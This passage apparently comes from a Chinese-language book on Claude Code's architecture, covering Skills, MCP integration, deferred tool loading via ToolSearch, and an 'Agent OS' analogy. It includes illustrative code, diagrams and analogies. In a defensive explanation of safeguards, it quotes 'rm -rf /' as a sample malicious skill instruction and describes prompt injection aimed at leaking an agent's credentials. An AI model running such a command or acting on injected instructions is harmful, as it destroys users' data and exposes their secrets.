(无 Skill 辅助)"] style B fill:#f59e0b,color:#fff style C fill:#000,color:#fff
7. 深度洞察 (Deep Insight)

1 Agent + 1000 Skills > 1000 Agents: 很多框架的思路是为每个任务训练或配置一个专门的 Agent。但这导致了 Agent 扩张的泥沼——上下文冲突、路由混乱、维护成本爆炸。Skill 系统反其道而行之:收敛 Agent 的数量,扩张 Skill 的数量。 一个通用 Agent + 精心设计的 1000 个 Skill,比 1000 个各怀鬼胎的专用 Agent 更可靠、更可维护。错误的来源不是模型不够聪明,而是上下文不够精准——Skill 正是精准上下文的载体。

8. 全局检验 (Global Verification)
验证点 (Verification Point):Skill 会不会被恶意注入危险指令?
系统级闭环 (System Loop):与第7章的 Hook 安全体系完美对接。Skill 只是提示词层面的知识注入——它不能绕过工具执行的 7 步审批流水线。即使一个恶意 Skill 写了"请执行 rm -rf /",当这条指令被翻译为 BashTool 调用时,推测性分类器会立刻拦截。Skill 是"建议",不是"特权"——它受制于与其他所有提示词相同的安全框架。

第18章:MCP 万能接口 —— 工具世界的 USB-C

1. 深度解读 (Interpretation)

在 MCP(Model Context Protocol,模型上下文协议)出现之前,每个外部服务接入 Agent 都需要定制开发:写一个 Tool 类、定义 Zod Schema、处理认证、管理错误。接入 Slack 需要一套代码,接入 GitHub 需要另一套,接入数据库又是另一套。这是经典的 N*M 集成问题——N 个 Agent 框架 * M 个外部服务 = N*M 种适配器。

MCP 彻底终结了这个噩梦。它定义了一个标准协议:任何外部服务只需要实现一个 MCP Server(发布工具列表和调用接口),任何 Agent 只需要实现一个 MCP Client(发现和调用工具)。N*M 的地狱变成了 N+M 的天堂。

2. 核心源码直击 (Source Code)
// MCP Server 配置(settings.json)
{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": { "GITHUB_TOKEN": "..." }
    },
    "postgres": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-postgres"],
      "env": { "DATABASE_URL": "..." }
    }
  }
}

// 启动时:Agent 自动发现 MCP 工具
for (const [name, config] of Object.entries(mcpServers)) {
  const tools = await mcpClient.listTools(name);
  // 注册为 mcp__{server}__{tool} 格式
  // 例如:mcp__github__create_issue
  registeredTools.push(...tools.map(t => wrapAsMcpTool(name, t)));
}
3. 源码中译与语境还原 (Translation)

MCP 的工作流程极其简洁:

  • 声明: 用户在配置文件中声明 MCP Server(名称 + 启动命令 + 环境变量)。
  • 发现: Agent 启动时,对每个 MCP Server 调用 listTools(),获取该服务暴露的所有工具及其参数 Schema。
  • 命名: 工具被注册为 mcp__{server}__{tool} 的命名空间格式,避免不同服务之间的命名冲突。
  • 调用: 当模型输出 mcp__github__create_issue 时,系统将参数转发给对应的 MCP Server 进程。

关键设计:环境变量(如 GITHUB_TOKEN)只存在于 MCP Server 进程中,Agent 永远看不到真实的凭据。它只知道"我可以调用 create_issue",不知道背后用的是谁的 Token。

4. 架构隐喻 (Metaphor)
USB-C:一个接口统治所有设备

回忆一下 USB-C 出现之前的世界:手机用 Micro-USB,相机用 Mini-USB,笔记本用 MagSafe,显示器用 HDMI。每换一个设备就要换一根线。MCP 就是 Agent 世界的 USB-C——无论你要接的是 GitHub、数据库、Slack 还是自己写的内部系统,都只需要一个标准接口。设备制造商(服务提供方)只需做一个 USB-C 插头(MCP Server),电脑制造商(Agent 框架)只需做一个 USB-C 插座(MCP Client)。从此,世界清净了。

6. 拓扑图表 (Topology Chart)
graph LR A["Agent
(MCP Client)"] --> B["MCP Protocol
(标准接口)"] B --> C["GitHub Server"] B --> D["PostgreSQL Server"] B --> E["Slack Server"] B --> F["Custom Server
(自建服务)"] C --> C1("create_issue, search_code...") D --> D1("query, insert, migrate...") E --> E1("send_message, list_channels...") style B fill:#000,color:#fff style A fill:#0070f3,color:#fff
7. 深度洞察 (Deep Insight)

凭据隔离的安全红利: MCP 最被低估的价值不是便利性,而是安全性。在传统架构中,Agent 需要直接持有 API Key 才能调用服务——这意味着如果 Agent 被 Prompt Injection 攻击,攻击者可能通过 Agent 的输出窥探到凭据。而 MCP 架构下,凭据只存在于 MCP Server 进程的环境变量中。Agent 和凭据之间隔了一道进程边界。Agent 可以"使用"服务,但永远无法"看到"密钥。这正是第9章安全沙盒所述的"最小权限原则"在集成层的延伸。

8. 全局检验 (Global Verification)
验证点 (Verification Point):MCP Server 本身会不会成为攻击向量?
系统级闭环 (System Loop):MCP Server 是一个独立进程,它的权限由操作系统级别的进程隔离保护。更关键的是,Agent 对 MCP 工具的每次调用都要经过第6-8章所述的完整审批流水线——Zod 校验 → PreToolUse Hook → 权限决策状态机。MCP 工具不享有任何特殊豁免。如果一个 MCP 工具被标记为高危(如 mcp__postgres__drop_table),权限状态机同样会触发人类确权。

第19章:延迟加载与 ToolSearch —— 千柄武器的虚拟军火库

1. 深度解读 (Interpretation)

当一个 Agent 同时挂载了 GitHub、Slack、PostgreSQL、Chrome DevTools、Telegram 等十几个 MCP Server 时,这些服务加起来可能暴露几百个工具。如果把所有工具的完整 Schema(名称、参数类型、描述)全部塞进系统提示词,Token 消耗将是灾难性的——可能直接吃掉 30-50% 的上下文窗口。

Claude Code 用了一个优雅的两段式加载策略:延迟加载(Deferred Loading)。启动时只告诉模型"有这些工具存在"(名称列表),但不发送具体的参数 Schema。当模型真正需要调用某个工具时,它先调用 ToolSearch 获取完整 Schema,然后才能正确调用。

2. 核心源码直击 (Source Code)
// ToolSearch:按需获取延迟加载的工具 Schema
interface ToolSearchParams {
  query: string;       // "select:mcp__github__create_issue" 或关键词
  max_results?: number; // 默认 5
}

// 系统提示词中的延迟工具声明
`The following deferred tools are available via ToolSearch:
mcp__github__create_issue
mcp__github__search_code
mcp__postgres__query
mcp__slack__send_message
...`

// 当模型调用未加载的工具时,系统注入自愈 Hint
if (isDeferred(toolName)) {
  return buildSchemaNotSentHint(tool);
  // Hint: "This tool's schema hasn't been loaded yet.
  //  Use ToolSearch to fetch it first, then retry."
}
3. 源码中译与语境还原 (Translation)

延迟加载的两段式协议:

  • 第一段(声明): 系统提示词只包含工具的名称列表。几百个工具名总共可能只占 2-3K Token。模型"知道"这些工具存在,但不知道具体怎么调用。
  • 第二段(获取): 当模型决定调用某个工具时,它先调用 ToolSearch(支持精确选择 select:tool_name 或关键词搜索),获取完整的参数 Schema。Schema 被注入后,模型就能正确构造 JSON 参数了。

自愈机制:如果模型"凭记忆"直接调用未加载的工具(跳过 ToolSearch),系统不会崩溃——它会返回一条 Hint:"你的 Schema 没加载,请先调用 ToolSearch 搜索这个工具,然后重试。" 模型在下一轮会自动纠正。

4. 架构隐喻 (Metaphor)
图书馆的卡片目录

一座图书馆有十万本书。如果每次进图书馆都要把十万本书的完整简介读一遍,你还没开始查资料就累死了。延迟加载就像图书馆的卡片目录——你只需要看到书名(工具名称列表),找到你需要的那本,然后去书架上取出来(ToolSearch 获取 Schema),打开阅读(调用工具)。卡片目录只占一个抽屉的空间(几千 Token),但它映射了整座图书馆的全部藏书。

6. 拓扑图表 (Topology Chart)
graph TD A["系统启动
500 个工具名注入
(~3K Token)"] --> B["模型决定调用
mcp__github__create_issue"] B --> C{"Schema 已加载?"} C -->|Yes| D["直接调用"] C -->|No| E["调用 ToolSearch
获取完整 Schema"] E --> F["Schema 注入上下文"] F --> D B --> G{"凭记忆调用?"} G -->|参数错误| H["自愈 Hint
'请先 ToolSearch'"] H --> E style A fill:#f1f5f9,stroke:#94a3b8 style D fill:#10b981,color:#fff style H fill:#f59e0b,color:#fff
7. 深度洞察 (Deep Insight)

渐进披露的统一范式: 回顾整个架构,你会发现"渐进披露(Progressive Disclosure)"是一个反复出现的核心设计原则。第2章的动态组装(只注入当前环境需要的指令),第5章的身份分片(只给子代理它需要的工具),第12章的上下文压缩(只保留高价值信息),第16章的记忆系统(索引 + 按需加载),以及本章的延迟工具加载——它们都是同一个原则在不同层级的映射。本质上,整个 Agent OS 的架构就是在回答一个问题:在有限的 Token 预算中,如何让模型在每个时刻都只看到它最需要的信息?

8. 全局检验 (Global Verification)
验证点 (Verification Point):两段式加载是否增加了延迟?
系统级闭环 (System Loop):增加了一个 ToolSearch 回合的延迟(约 1-2 秒),但这是一次性成本。Schema 被加载后会留在上下文中,同一个工具的后续调用无需再次搜索。而且,与把 500 个完整 Schema 全部预加载相比,延迟加载节省了 20-50K Token 的上下文空间。这些节省下来的空间可以容纳更多的代码、更长的对话历史、更丰富的推理——投资回报比极高。

卷六:终局 —— 从命令行工具到 Agent 操作系统

第20章:从命令行到操作系统 —— Agent OS 的范式跃迁

1. 深度解读 (Interpretation)

回顾前19章所揭示的全部架构,一个震撼的结论浮出水面:Claude Code 不再是一个命令行工具——它是一个完整的操作系统。

这不是修辞上的夸张。让我们严格地映射概念:系统提示词是内核(Kernel)——它定义了最基本的行为规则和资源调度策略。工具(Read/Edit/Bash/Search)是系统调用(Syscalls)——应用程序通过它们访问底层硬件。Skill 是用户态程序(Userspace Programs)——可安装、可卸载、可自定义。MCP 是设备驱动协议(Device Driver Protocol)——标准化了外设接入。权限系统是访问控制列表(ACL)。上下文压缩是内存管理(Memory Management)。子代理派生是进程 Fork

2. 核心源码直击 (Source Code)
// Agent OS 架构映射(概念对照)

// 内核 = System Prompt(静态规则 + 行为宪法)
getSystemPrompt(context) → "Kernel Boot"

// 系统调用 = 内置工具
tools: [Read, Edit, Write, Bash, Glob, Grep, Agent, ToolSearch]
       → "Syscall Table"

// 用户态程序 = Skills
.claude/skills/* → "Userspace Programs (installable, removable)"

// 设备驱动 = MCP Servers
mcpServers: { github, postgres, slack } → "Device Drivers"

// 进程管理 = Agent Coordinator
AgentTool.spawn(EXPLORE_AGENT)  → "fork() + exec()"
AgentTool.spawn(VERIFY_AGENT)   → "fork() + exec()"
MAX_SPAWN_DEPTH = 3             → "Process Tree Limit"

// 内存管理 = Context Compressor
autoCompactContext()            → "Garbage Collection"
CRITICAL_THRESHOLD = 0.50       → "OOM Killer Threshold"

// 访问控制 = Permission State Machine
resolveHookPermissionDecision() → "ACL Check"
requiresInteraction: true"sudo prompt"

// 文件系统 = CLAUDE.md + memory/ + Scratchpad
loadProjectInstructions()       → "/etc/config"
MEMORY.md                       → "/var/log"
Scratchpad                      → "/tmp"
3. 源码中译与语境还原 (Translation)

这张映射表揭示了一个深刻的架构同构:

  • 内核启动 = System Prompt 编译: 就像操作系统启动时加载内核镜像,Claude Code 在会话启动时编译系统提示词。静态规则是内核代码(不变),动态状态是启动参数(每次不同)。
  • Fork = 子代理派生: Unix 的 fork() 创建当前进程的副本,Claude Code 的 AgentTool.spawn() 创建当前会话的子代理。子代理继承父代理的系统提示词(就像子进程继承父进程的地址空间),但拥有独立的上下文窗口。
  • GC = 上下文压缩: Java 的垃圾回收器在内存压力下自动清理无用对象。Claude Code 的 ContextCompressor 在 Token 压力下自动清理无用的对话历史。两者的目标完全一致:在有限的资源约束下最大化有效信息的密度。
  • sudo = 人类确权: 当你在终端输入 sudo 时,系统会要求你输入密码来证明你是有权限的人类。当 Agent 试图执行高危操作时,权限状态机会弹出确认框——本质上就是 Agent 世界的 sudo。
4. 架构隐喻 (Metaphor)
从计算器到计算机

早期的 AI 助手就像一台计算器——你输入一个问题,它吐出一个答案,然后一切归零。而 Claude Code 已经进化成了一台完整的计算机。它有操作系统(System Prompt),有内存管理(Context Compressor),有进程调度(Agent Coordinator),有设备驱动(MCP),有文件系统(CLAUDE.md + memory/),有用户态程序(Skills),有安全机制(Permission State Machine)。唯一的区别是:传统计算机的程序用二进制编写,而 Agent OS 的程序用自然语言编写。

6. 拓扑图表 (Topology Chart)
graph TB subgraph "Agent OS 架构" K["Kernel
(System Prompt)"] K --> SC["Syscalls
(Read/Edit/Bash/Grep)"] K --> PM["Process Manager
(Agent Coordinator)"] K --> MM["Memory Manager
(Context Compressor)"] K --> ACL["Access Control
(Permission State Machine)"] SC --> UP["Userspace Programs
(Skills)"] SC --> DD["Device Drivers
(MCP Servers)"] PM --> P1["Process 1
(Explore Agent)"] PM --> P2["Process 2
(Verify Agent)"] MM --> FS["File System
(CLAUDE.md / memory/)"] end style K fill:#000,color:#fff style SC fill:#0070f3,color:#fff style PM fill:#0070f3,color:#fff style MM fill:#0070f3,color:#fff style ACL fill:#ef4444,color:#fff
7. 深度洞察 (Deep Insight)

限制因素从来不是模型: 回到本书开篇的核心命题。OpenAI 用 3 个 Harness 工程师(不写代码的人)交付了 100 万行代码。这个数据点证明了:大模型的智力已经足够强大,瓶颈在于它周围的操作系统。 提示词缓存经济学(第3章)、行为圣经(第4章)、身份分片(第5章)、权限状态机(第8章)、上下文压缩(第12-13章)、Skill 系统(第17章)、MCP 协议(第18章)——这些都不是在"教模型如何思考",而是在"为模型构建它赖以运行的操作系统"。未来的 AI 工程师,不是写更好的提示词的人,而是构建更好的 Harness 的人。

8. 全局检验 (Global Verification)
验证点 (Verification Point):Agent OS 距离真正的操作系统还缺什么?
系统级闭环 (System Loop):至少还缺三样东西。(1) 确定性调度器——当前的 Agent 调度依赖模型的概率输出,而非确定性的优先级队列。(2) 持久化进程——子代理目前是临时的,会话结束即消亡;真正的 OS 需要后台守护进程。(3) 多用户隔离——当前架构是单用户的,企业级部署需要命名空间和资源配额。但这些"缺失"恰恰定义了下一代 Agent 架构的研究方向。每一个缺口都是一个万亿级别的工程挑战。